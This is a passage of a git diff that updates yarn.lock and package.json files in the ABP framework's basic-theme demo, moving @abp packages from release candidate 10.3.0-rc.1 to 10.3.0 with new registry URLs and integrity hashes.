- resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0-rc.1.tgz#58586e2333116ef840c3abd44bb2b54f944c92b1"
- integrity sha512-PEXWi22YfOBdbxCUfLkEAVL45DCxzDbNALFLfsCK3LPvXuL5Pw0YU0CrezAW54+1tzPpbWh1HLyEyaUAINz6Wg==
+"@abp/bootstrap-datepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0.tgz#032aaf0e474f971b9f90ca7fb83ff7ca4d7be933"
+ integrity sha512-7mRuRRIE4R0yw1cZuoIskgrqZPUa5/SJzse0K6u+/QDqvyLjjOsyE51WuqAXxlVfKpLp/fBvXZwnCDeCRU9iZQ==
dependencies:
bootstrap-datepicker "^1.10.1"
-"@abp/bootstrap-daterangepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0-rc.1.tgz#088b96754014b3c7a8884689574c2332cd5c292e"
- integrity sha512-uZRh/Eh/3nyFe4KfMLRMud5LmUs2JFKSeA4KeRliGe1PD68E6NizP/ZiNzkYFP2K2p0nNUQrqmSe7ZFHVELN4A==
+"@abp/bootstrap-daterangepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0.tgz#b2a9171595ee311c32f57460013870cde67c6b7f"
+ integrity sha512-ejLu3sWhfNDlsXeUXAQudZvPv0xM4McxIK65vuVEZiKIwFSnrLYil8jBi12EJJmAw5yYA/KC0EdyG82E+AWpmA==
dependencies:
- "@abp/moment" "~10.3.0-rc.1"
+ "@abp/moment" "~10.3.0"
bootstrap-daterangepicker "^3.1.0"
-"@abp/bootstrap@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0-rc.1.tgz#fc1ccf88e689af336fec9c76d367bcaf66253961"
- integrity sha512-vdhaz3ccmIflmufhNiQE/8I2RZdSSv3V4sbA2NC24csx8xl4J/R2JFhTyTLixpxOR+/p1cWw1F2oMYVzjV0+eg==
+"@abp/bootstrap@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0.tgz#23535c90613271b02fdad3eae1556b67844729e6"
+ integrity sha512-JnVOeJUyR78oo+QURvaNqa9xGZaVux0PRIpFpd4Qsqiiz9FvJrbCuSoBkkZoj/0eH23WoZ3bJxy0K9LDE19qvg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
- "@abp/popper.js" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
+ "@abp/popper.js" "~10.3.0"
bootstrap "^5.3.8"
-"@abp/clipboard@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/clipboard/-/clipboard-10.3.0-rc.1.tgz#2350aba655b18510dea0ca50cb91e5e5960e9480"
- integrity sha512-jKo5H0+FSA+1aDdIWDmyAwNP2nFf19x4nAHbclkwnsexHBRfQlvx6yB6sY85BP+Ft6zxIn9gRRLbJPvFwsKBWw==
+"@abp/clipboard@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/clipboard/-/clipboard-10.3.0.tgz#7bfbfcae6a135065ee13afd1b7d3abc92176a203"
+ integrity sha512-Cah+jOzcG1KZh6PXWxo+BedU7gsqTuNlTDsCzBCk2NuV2/Blb5qumAwEP4GBKAEIY/XwcFQP/ubxuXMTNjr0jw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
clipboard "^2.0.11"
-"@abp/core@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0-rc.1.tgz#68f85db8219e3a2618a60cf82933bc52a2d1ec49"
- integrity sha512-tOl/yDSPqRaHbENFVYcjqkdKGM4Qhjd/QPushVaH57pxalmv6canhiWAa0x7W31qxdY9od48H7MYoJx61jURhw==
+"@abp/core@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0.tgz#9960f8179d1fdc42250d0bbba60e379590c8199c"
+ integrity sha512-DpL4qrsyCUolypUwxKVDDK8bPVhNbYKx6l2ytUjoOu73CwgPoCSGkvHWrmKIsEsmTfOC9J7+GDErh8jWR/5pVA==
dependencies:
- "@abp/utils" "~10.3.0-rc.1"
+ "@abp/utils" "~10.3.0"
-"@abp/datatables.net-bs5@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0-rc.1.tgz#55e8dde9024c51ccb70fe5b640bbb434fff2e00d"
- integrity sha512-d6vFlrNgS6MIpXi2EcZjGFbFbCl5I5hzM49NxQeB3hyG7gUElFsEJkf66UcO8PN/56Uo+sFe/rCdrcvyLLDHmg==
+"@abp/datatables.net-bs5@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0.tgz#d8711c52f7c03df51d14d1a5f0e6b00f6d9551fc"
+ integrity sha512-I8rEU98kEhsNZjVdpPvOcG6F4xr1CgIRb0bTf5bfd8ufzxEUKB+xF9bguJIB5kYwjme8QbMlcJ0V/c+N4iewtQ==
dependencies:
- "@abp/datatables.net" "~10.3.0-rc.1"
+ "@abp/datatables.net" "~10.3.0"
datatables.net-bs5 "^2.3.4"
-"@abp/datatables.net@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0-rc.1.tgz#8e275f31d8b24b098c6acc3ec1de7ef2fe587e73"
- integrity sha512-m57imr9KOkasgDCIFaIgoDqFDhS71wzClE2WCk+Uk7qHLRgRMa7CYRHh5xeck4hgPWq9DEmAZS0ogbHxLgkLKQ==
+"@abp/datatables.net@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0.tgz#f98319d8e226da5aced4d1d94d3ababb11327074"
+ integrity sha512-imM25WmO1V0hqeG5iPeLvYMID2HX7SG9drz47qilr74MhpY2i2J7HlsvZDonNkjpxzhK4DHpGeQd6mE2QzG7Hw==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
datatables.net "^2.3.4"
-"@abp/font-awesome@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0-rc.1.tgz#e9d4a1b36652773509259440b77b804af18c5364"
- integrity sha512-8zvZh7lbPlvH0/SKYtUeQF+ezKSoohwFxzFhOJ88GOdtwp620mBCwYEHjZA64e/Xjk6Oda2VrdNJ318IvgjIvA==
+"@abp/font-awesome@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0.tgz#43602605f5633132cc6fe21b6ce5ab19b86bdf27"
+ integrity sha512-RUOVHxDyT81hp01DhUuSshKvLM+NiTt9VP+O4/rSj+SOaSJAm3wX7eziCKrDi6H41FwhoZL75CifLhcZVyVO4A==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@fortawesome/fontawesome-free" "^7.0.1"
-"@abp/highlight.js@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/highlight.js/-/highlight.js-10.3.0-rc.1.tgz#76d699f549aa630afda1f822717a3d3e2d846e88"
- integrity sha512-m43P+D3gOsbc6tr2qQ/OmpCU6IqfVkw1frq1J6DcwlpEf5rCFhSEuvSq7roe9OTqsFX0xa+a1X2BHRNc3CkS2Q==
+"@abp/highlight.js@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/highlight.js/-/highlight.js-10.3.0.tgz#1b04355e84eba15c395cdfc7055c8d610296206b"
+ integrity sha512-cqApQta9gEs03jk/s+yQsm1mnHGNDZPHnkGYgxYKI41Nl9meV6+5Dkz0b4gnQoUKXvFlmuOuf2DOjot7a2yB7g==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@highlightjs/cdn-assets" "~11.11.1"
-"@abp/jquery-validation-unobtrusive@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0-rc.1.tgz#b547557e85838afcc783ef3d502c2da3a31f4a63"
- integrity sha512-NU00gPTHDF2HTnsHaZKAp17DTgAHUCz1fwuXRq4f7Ke5Q9HwiJx2IpIFaeR49xe9XRg1d9iRbNKFkMycjX7rEg==
+"@abp/jquery-validation-unobtrusive@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0.tgz#5bc14ed642d48f9eae54761ad39bd9f51beeb005"
+ integrity sha512-j/9fA7tAs1/t3P2U1kKUiDlHAImmseul6KzvV77sNpnms7g4+x6Fgsa+sMzicSRGOLz7lK5RHdBFyvfKxt7/nA==
dependencies:
- "@abp/jquery-validation" "~10.3.0-rc.1"
+ "@abp/jquery-validation" "~10.3.0"
jquery-validation-unobtrusive "^4.0.0"
-"@abp/jquery-validation@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0-rc.1.tgz#c4ab1a0692c1d224c5f60ffc4cb25545a7024c31"
- integrity sha512-JaUhEbhKFB1DPFe+xTeIqTvN3YgFm7gdlpqMxN9Q5k0mnecQHlNmXbmC0oDa+CyxZDvMjWOrSMrJw/8yL4moQQ==
+"@abp/jquery-validation@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0.tgz#e669a54d28f6c0b863a284322e527a5c65cb7dbf"
+ integrity sha512-Wo95ZJLS1ScKm7dm3zFlEFUKqXrqo3m9+82DX5mFJUVCHHuBPrhxvDjxNJ18z4gpoOUu08uqxX7LFbphtkRM3g==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
jquery-validation "^1.21.0"
-"@abp/jquery@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0-rc.1.tgz#bc8d3a468483165f8d35cbfa5e91621c2fa53c8f"
- integrity sha512-tCZsi5U3oWZOazxRuqrEPyE85jZ4D71IfSrT9/Brf1wAELyrttt5ke3P57yQqjBevbfSqW652Wxca/w2GidQcg==
+"@abp/jquery@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0.tgz#3b60bcdfe8f9a33be79db1bea2500837fe09c67d"
+ integrity sha512-TndX/8bJx5vGAAwIykx2CJUZIFFDkwpD+cUjE45WO2dSrY2M5vNfWiuw95OcLGngO8RaT/gTkFGzPuZqKn9ggg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
jquery "~3.7.1"
-"@abp/lodash@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0-rc.1.tgz#7bdf8038f28a822dfc12f0bfa9b7d81f13e16d99"
- integrity sha512-tlev/kkQ3Q+OC7BT1ZJ+TThIbVQ3CZ+mtEujLt6zHVIxx8tukbYmmDMpltrmOL2kGnQeDdMqFcQoNJAAYOju+A==
+"@abp/lodash@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0.tgz#bd091fc811d85d2f535802631af6165ac1c8a198"
+ integrity sha512-7JDU9UlbD+9odhFQjolvyJZ6EQKG5kiL2Pt9T1RMVchNh47iEuZwfi8c+CIxa3YxA3n6lAsZ+8Pmxq4yOku+RQ==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
lodash "^4.17.21"
-"@abp/luxon@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0-rc.1.tgz#e13db7cade7761964e9820315e43bac182f80784"
- integrity sha512-FB42gIKvfDJBu2vFZDBFVL6bn9jZpDpKdt5Kkp4OKQak9NHVyNuzH+R95Hr99vB+KELyTwW7hihc6Kl2oCrwWQ==
+"@abp/luxon@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0.tgz#acbd92289456a546607ed4506dc36f71e6da53c9"
+ integrity sha512-IIi2+odQzuFK4qV1KJ2HtlTewSPby2F9CJFNNtNRMzX/P30dQkAGWpNV5/FZzJwFIihR+zSei5wlu11WpPugsw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
luxon "^3.7.2"
-"@abp/malihu-custom-scrollbar-plugin@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0-rc.1.tgz#1af6ebce0553c368d884752efcaef6cceaeb806c"
- integrity sha512-+BYN/3DhhtI7tS4nv4BpdsPiQLEVrLQ0KgawGRr1h3SV/nz1dtBTBgTbKvy/4bDHoMSKA1dPfudxi6XjgwUoBA==
+"@abp/malihu-custom-scrollbar-plugin@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0.tgz#209931d02a994ef448371d6203e9ec74c72b61e6"
+ integrity sha512-hJjwEExP3hKE1MNDG+pcvoHRFUihh3t/0wCPNaoePFd8+QnJuyQ9U0VA+vdtykTxm8uFNE2uaCgyHffoHmzeZA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
malihu-custom-scrollbar-plugin "^3.1.5"
-"@abp/moment@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0-rc.1.tgz#82229c44e7b1417c872edec53ed3f51d06bf7e8b"
- integrity sha512-hKQ8VE25Wqo1mj/ks8qw39ONLQK5sV33xc0bfYHTk0+NVAholAPZF7gjqiDzaAWXzVBVJjemH554AM3y14VNAA==
+"@abp/moment@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0.tgz#5a5c4ece14d1bc4dd33134f85d1d085733d3c975"
+ integrity sha512-8DKw2jgC/28nLrB/CR9BiyUSt0pUmWF+bEgAsduln6VrSCHn0aRLqgs+wi/9Ol+1bl7pO2wbJOYg1qbnkDhrAQ==
dependencies:
moment "^2.30.1"
-"@abp/popper.js@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0-rc.1.tgz#3d758e25e7b09210542e4da06558cd5a1b710b45"
- integrity sha512-3PKJpwzTYAQ6UJFe3u9bn1qKRjXwmILlR9umyH998bfJLr0Zl04rBfcbIL9/l3S01qlCMt2bwjre0+wpRl+/OA==
+"@abp/popper.js@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0.tgz#cb2415e45a905854980f4e864c00c8fe1156a6f9"
+ integrity sha512-Yfafs50t7DKnShxAl9WPpihZxG5cLAt99rJmIyXBYUQIpkHkxDyUIA5b4gCoVCqKgjFDOxG7i6L+Ovd/2N8k7g==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@popperjs/core" "^2.11.8"
-"@abp/prismjs@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/prismjs/-/prismjs-10.3.0-rc.1.tgz#147852ca4e0f9ceebe5681b65ad440b48325021f"
- integrity sha512-sAWkFAP8GPx4UBR2EXg9Uz0sivK9CTWccUGGecttK9mNf12YbtVftmS145Fgip2+ifklPTcVRjXWIghyJPYu5Q==
+"@abp/prismjs@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/prismjs/-/prismjs-10.3.0.tgz#4ea33ece50cefcfc8a89c17b0d265b484b7205ee"
+ integrity sha512-WvkLyg+izkcX6sEOYy41B9lebiniYxMQZ++c+ysyOQKZzrYEEFOOLlnFS9jPqSKLv9cNRizhG1CCfiwoYCxufQ==
dependencies:
- "@abp/clipboard" "~10.3.0-rc.1"
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/clipboard" "~10.3.0"
+ "@abp/core" "~10.3.0"
prismjs "^1.30.0"
-"@abp/select2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0-rc.1.tgz#5292066ccf962ad92058d946b267d413c4876c40"
- integrity sha512-gAJaAuLoHaOhkdDwS2F3ZH3CR//8EClkEWDde2AcYS+W2AY9/4g9kAMUOD5IrkrrYvJ+DDa9u426Ds8n8s/B9g==
+"@abp/select2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0.tgz#199777173ca3e43a5448f8b51b30c3aafe4a3333"
+ integrity sha512-6sEIYIakVI1DM3eOqOaxwdG8vkyVFBWvVZhoChPZkgIIQ0EH2JLerHv0pePJEl6mQSxOUrikPA8++B2y+sBnQA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
select2 "^4.0.13"
-"@abp/sweetalert2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0-rc.1.tgz#a344674f14b21f430a820805bc36768a6dde1f58"
- integrity sha512-UV3nSA3LdgygFr1ruFZRU1PVan455NMFILisXKRYVu9QwweFInmnliR6FmcDlTmPFW7RCLBk+lC9UblEcDthUA==
+"@abp/sweetalert2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0.tgz#515e0477574b54bc6650b9f5ee193bfc648c715a"
+ integrity sha512-bY5MXEiKja+vk71ujSn8rpzRC45Ge8zvcca1k1vBJs+oKyRCii//JBxa3H0lagZo5r/QwIqv5ihdyLE1xsuLSg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
sweetalert2 "^11.23.0"
-"@abp/timeago@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0-rc.1.tgz#f0e476b65f19fd986c06231a331fdb4050d1a6c6"
- integrity sha512-ydBvTJ73BrV7A69vtWRzw//JmrLu6r4ow8J3GZy8vEuH9vlBWe1JHcPK6lOD3DDM+K6Jag5/31RL45ZuSSxcvQ==
+"@abp/timeago@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0.tgz#3214a6d000c79504c9fa7cb4e004a967fe46459b"
+ integrity sha512-Rgcex+jvM9Z9/E0I5Q3wlC2bY5550/+6xRX407k5ho4gxCccYo3c0Gkpiy5pJRFhTwtBgcNzYxArh6NCez+tDg==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
timeago "^1.6.7"
-"@abp/utils@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0-rc.1.tgz#b6e20d357b87a009ffef3e11a0e7cc3a887d461f"
- integrity sha512-tBcywC3T2ZUKS6znm1lCd+jP0peZolYyxjs1F7wyyH/y+Y08NYtGgLG/A8EaIv7iDY2K4WExzvWjTHB4lE1mFA==
+"@abp/utils@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0.tgz#d88c0d639d69d6210c3070892aac61d5e945c124"
+ integrity sha512-iNehxiqWJQl2wwE9EbsQANPv/ITMh0yUcPATUlG/McoLWdpPcqobx75NxXcHDqW8ZarecqSktjJDZPvaUaD+jA==
dependencies:
just-compare "^2.3.0"
diff --git a/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Theme.Basic.Demo/package.json b/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Theme.Basic.Demo/package.json
index 77c5e48268..d6105f02a8 100644
--- a/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Theme.Basic.Demo/package.json
+++ b/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Theme.Basic.Demo/package.json
@@ -3,8 +3,8 @@
"name": "asp.net",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0-rc.1",
- "@abp/prismjs": "~10.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0",
+ "@abp/prismjs": "~10.3.0"
},
"devDependencies": {}
}
diff --git a/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Theme.Basic.Demo/yarn.lock b/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Theme.Basic.Demo/yarn.lock
index 0fdc9022d1..59dc5b16a6 100644
--- a/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Theme.Basic.Demo/yarn.lock
+++ b/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Theme.Basic.Demo/yarn.lock
@@ -2,203 +2,203 @@
# yarn lockfile v1
-"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0-rc.1.tgz#82f61b5d112c8cbc5c74077809d84525edc1200a"
- integrity sha512-eo4ubQfc6zT2/uTKM7U7XS6vExSKsg2szfvybFuBWJjmgb1ybfU2dKDXK4OfLdt0/wUBqBlEKDNK6NWZTfiovQ==
- dependencies:
- "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0-rc.1"
-
-"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0-rc.1.tgz#465bb75a8b974be7a7945099fd9055ee68e3c9fe"
- integrity sha512-89ca3oXYFEkaKbC1+mNsn6U4x0bls5iffcp1ZqaY5LTfHUhO5tJXbNf5kiOiEwT9TCYwPUHyLbUd2+rT72MGFA==
- dependencies:
- "@abp/aspnetcore.mvc.ui" "~10.3.0-rc.1"
- "@abp/bootstrap" "~10.3.0-rc.1"
- "@abp/bootstrap-datepicker" "~10.3.0-rc.1"
- "@abp/bootstrap-daterangepicker" "~10.3.0-rc.1"
- "@abp/datatables.net-bs5" "~10.3.0-rc.1"
- "@abp/font-awesome" "~10.3.0-rc.1"
- "@abp/jquery-validation-unobtrusive" "~10.3.0-rc.1"
- "@abp/lodash" "~10.3.0-rc.1"
- "@abp/luxon" "~10.3.0-rc.1"
- "@abp/malihu-custom-scrollbar-plugin" "~10.3.0-rc.1"
- "@abp/moment" "~10.3.0-rc.1"
- "@abp/select2" "~10.3.0-rc.1"
- "@abp/sweetalert2" "~10.3.0-rc.1"
- "@abp/timeago" "~10.3.0-rc.1"
-
-"@abp/aspnetcore.mvc.ui@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0-rc.1.tgz#c5764ec2fcab13ee591863c54e59e33fe1da90b4"
- integrity sha512-vmBsradTXcTEqHUXM5rTLYnsNNYJDeyyvz3kaLLqNwYhjo2FxL8D8IUZnp3Mk0qkBpYaYeGag5uxd06VDczDhg==
+"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0.tgz#bf48e8fa571067d15bc19bdd3f13509acf58f9c7"
+ integrity sha512-t9pHqrXaCDYcsdrz0VPKT28ujnnU+EVxyVDogQSRRpKsDoLhNcOD8NI3swdAWBQZ46YSCDfeDR+gfwjC3yqpXQ==
+ dependencies:
+ "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0"
+
+"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0.tgz#bcf72b5dd1dea285c3fa7cb1b6ce27c29b985ff7"
+ integrity sha512-X5xmMSxnIzNJPexvKR9y6jyn0v5n2wscN1SECG/bMI1YdKugMlkfkSuyUmLn+RX9/YdcK0jOsdMhfuzs5mgAOA==
+ dependencies:
+ "@abp/aspnetcore.mvc.ui" "~10.3.0"
+ "@abp/bootstrap" "~10.3.0"
+ "@abp/bootstrap-datepicker" "~10.3.0"
+ "@abp/bootstrap-daterangepicker" "~10.3.0"
+ "@abp/datatables.net-bs5" "~10.3.0"
+ "@abp/font-awesome" "~10.3.0"
+ "@abp/jquery-validation-unobtrusive" "~10.3.0"
+ "@abp/lodash" "~10.3.0"
+ "@abp/luxon" "~10.3.0"
+ "@abp/malihu-custom-scrollbar-plugin" "~10.3.0"
+ "@abp/moment" "~10.3.0"
+ "@abp/select2" "~10.3.0"
+ "@abp/sweetalert2" "~10.3.0"
+ "@abp/timeago" "~10.3.0"
+
+"@abp/aspnetcore.mvc.ui@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0.tgz#0d125efd172b6772c516eae82cfe35f144da73fc"
+ integrity sha512-kp0XdwrlNz+NeLdxSJ6xdUaB5PM7xdbiLsIyTUcwa7AUKBtcVU6yq6qttbk9VyO0KqDgLywSuEL+9PkFhthuPg==
dependencies:
ansi-colors "^4.1.3"
-"@abp/bootstrap-datepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0-rc.1.tgz#58586e2333116ef840c3abd44bb2b54f944c92b1"
- integrity sha512-PEXWi22YfOBdbxCUfLkEAVL45DCxzDbNALFLfsCK3LPvXuL5Pw0YU0CrezAW54+1tzPpbWh1HLyEyaUAINz6Wg==
+"@abp/bootstrap-datepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0.tgz#032aaf0e474f971b9f90ca7fb83ff7ca4d7be933"
+ integrity sha512-7mRuRRIE4R0yw1cZuoIskgrqZPUa5/SJzse0K6u+/QDqvyLjjOsyE51WuqAXxlVfKpLp/fBvXZwnCDeCRU9iZQ==
dependencies:
bootstrap-datepicker "^1.10.1"
-"@abp/bootstrap-daterangepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0-rc.1.tgz#088b96754014b3c7a8884689574c2332cd5c292e"
- integrity sha512-uZRh/Eh/3nyFe4KfMLRMud5LmUs2JFKSeA4KeRliGe1PD68E6NizP/ZiNzkYFP2K2p0nNUQrqmSe7ZFHVELN4A==
+"@abp/bootstrap-daterangepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0.tgz#b2a9171595ee311c32f57460013870cde67c6b7f"
+ integrity sha512-ejLu3sWhfNDlsXeUXAQudZvPv0xM4McxIK65vuVEZiKIwFSnrLYil8jBi12EJJmAw5yYA/KC0EdyG82E+AWpmA==
dependencies:
- "@abp/moment" "~10.3.0-rc.1"
+ "@abp/moment" "~10.3.0"
bootstrap-daterangepicker "^3.1.0"
-"@abp/bootstrap@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0-rc.1.tgz#fc1ccf88e689af336fec9c76d367bcaf66253961"
- integrity sha512-vdhaz3ccmIflmufhNiQE/8I2RZdSSv3V4sbA2NC24csx8xl4J/R2JFhTyTLixpxOR+/p1cWw1F2oMYVzjV0+eg==
+"@abp/bootstrap@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0.tgz#23535c90613271b02fdad3eae1556b67844729e6"
+ integrity sha512-JnVOeJUyR78oo+QURvaNqa9xGZaVux0PRIpFpd4Qsqiiz9FvJrbCuSoBkkZoj/0eH23WoZ3bJxy0K9LDE19qvg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
- "@abp/popper.js" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
+ "@abp/popper.js" "~10.3.0"
bootstrap "^5.3.8"
-"@abp/clipboard@~10.3.0-rc.1":
